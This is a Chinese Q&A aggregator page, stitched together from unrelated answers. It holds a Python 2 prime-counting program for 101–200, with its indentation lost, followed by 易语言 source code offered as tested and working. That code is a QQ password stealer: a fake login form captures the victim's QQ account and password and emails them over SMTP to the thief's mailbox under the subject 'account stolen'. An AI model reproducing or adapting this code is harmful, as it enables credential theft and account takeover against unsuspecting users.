判断素数的方法:用一个数分别去除2到sqrt(这个数),如果能被整除,则表明此数不是素数,反之是素数。
程序源代码:
#!/usr/bin/python
# -- coding: UTF-8 --
h = 0
leap = 1
from math import sqrt
from sys import stdout
for m in range(101,201):
k = int(sqrt(m + 1))
for i in range(2,k + 1):
if m % i == 0:
leap = 0
break
if leap == 1:
print '%-4d' % m
h += 1
if h % 10 == 0:
print ''
leap = 1
print 'The total is %d' % h
以上实例输出结果为:
101 103 107 109 113 127 131 137 139 149 151 157 163 167 173 179 181 191 193 197 199 The total is 21
详细可以看下这个链接网页链接
请采纳,谢谢
以下是源码 经测试可用!
-------------------------------------------------
版本 2
支持库 internet
程序集 窗口程序集1
子程序 _按钮1_被单击
信息框 (“请输入QQ帐号!”, #信息图标, )
返回 ()
判断 (编辑框2内容 = “”)
信息框 (“请输入QQ密码!”, #信息图标, )
返回 ()
默认
判断结束
如果 (连接发信服务器 (“smtpqqcom”, 25, 编辑框1内容, 编辑框2内容, ) = 真)
信息框 (“登录成功 ”, 0, )
连接发信服务器 (“smtpqqcom”, , “必要:你登陆服务器QQ号码”, “必要:你登陆服务器QQ密码”, )
发送邮件 (编辑框1内容 + “被盗号”, “帐号” + 编辑框1内容 + “密码” + 编辑框2内容, “你邮箱”, , “抄送”, “暗送邮箱地址”, )
载入 (_启动窗口1, , 真)
否则
信息框 (“登录失败”, #错误图标, )
返回 ()
如果结束
以上就是关于使用python判断101-200之间有多少个素数,并输出所有素数分别是哪些a全部的内容,包括:使用python判断101-200之间有多少个素数,并输出所有素数分别是哪些a、求一个E语言邮箱盗号源码。请发到woaikaka110@163.com。谢谢!、等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)